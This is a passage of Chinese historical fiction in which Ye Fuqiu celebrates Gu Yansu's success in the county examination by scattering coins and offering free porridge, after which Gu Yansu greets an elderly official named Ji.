叶扶秋反应极快，立刻去取了钱箱，众人来贺按例是要撒“喜钱”的，她先取了连成一串的“喜钱串”递给报子：“多谢小哥来报。” 又用力将散碎的铜钱抛洒给眼巴巴的百姓们，眉眼弯弯大声道：“诸位高邻，承蒙各位多年关照，今日为贺我叶记出了名顾宴苏顾案首，叶记接下来十日，及第粥免费供应，与大家同喜！” “好！” “叶记仁义！” 叫好声绵绵不绝，叶扶秋松下口气，又赶紧去看县令那边，只见顾宴苏已经迎了过去，正同几人交谈。 他语气疏离中带着恭敬，躬身行了一礼：“学生顾宴苏见过季老先生。” 老人见他小小年纪举止气定神闲，见官既不自矜也不惶恐，忍不住好奇道：“哦，你认得老夫是谁吗？”